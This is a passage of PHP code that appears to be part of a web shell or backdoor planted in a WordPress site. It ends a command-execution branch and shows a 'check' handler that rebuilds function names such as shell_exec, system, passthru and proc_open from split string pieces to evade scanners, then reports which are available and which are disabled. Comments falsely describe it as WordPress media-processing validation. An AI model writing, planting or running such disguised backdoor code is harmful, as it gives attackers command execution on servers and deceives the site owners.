'proc_open'));
                    exit;
                }
            }

            echo json_encode(array('out' => 'ALL_METHODS_BLOCKED', 'method' => 'none'));
            break;

        
        // System capability check - WordPress environment validation
        // Verifies available PHP functions for media processing
        
        // System capability check - WordPress environment validation
        // Verifies available PHP functions for media processing
        case 'check':
            $avail = array();
            $checks = array(
                array('she','ll_ex','ec'),
                array('ex','ec'),
                array('pa','sst','hru'),
                array('sy','stem'),
                array('po','pen'),
                array('pro','c_o','pen'),
                array('fi','le_p','ut_con','tents'),
                array('fi','le_ge','t_con','tents'),
            );
            foreach ($checks as $parts) {
                $fn = implode('', $parts);
                if (function_exists($fn)) { $avail[] = $fn; }
            }
            $di = @ini_get('disable_functions');
            echo json_encode(array('available' => $avail, 'disable' => ($di ? $di : '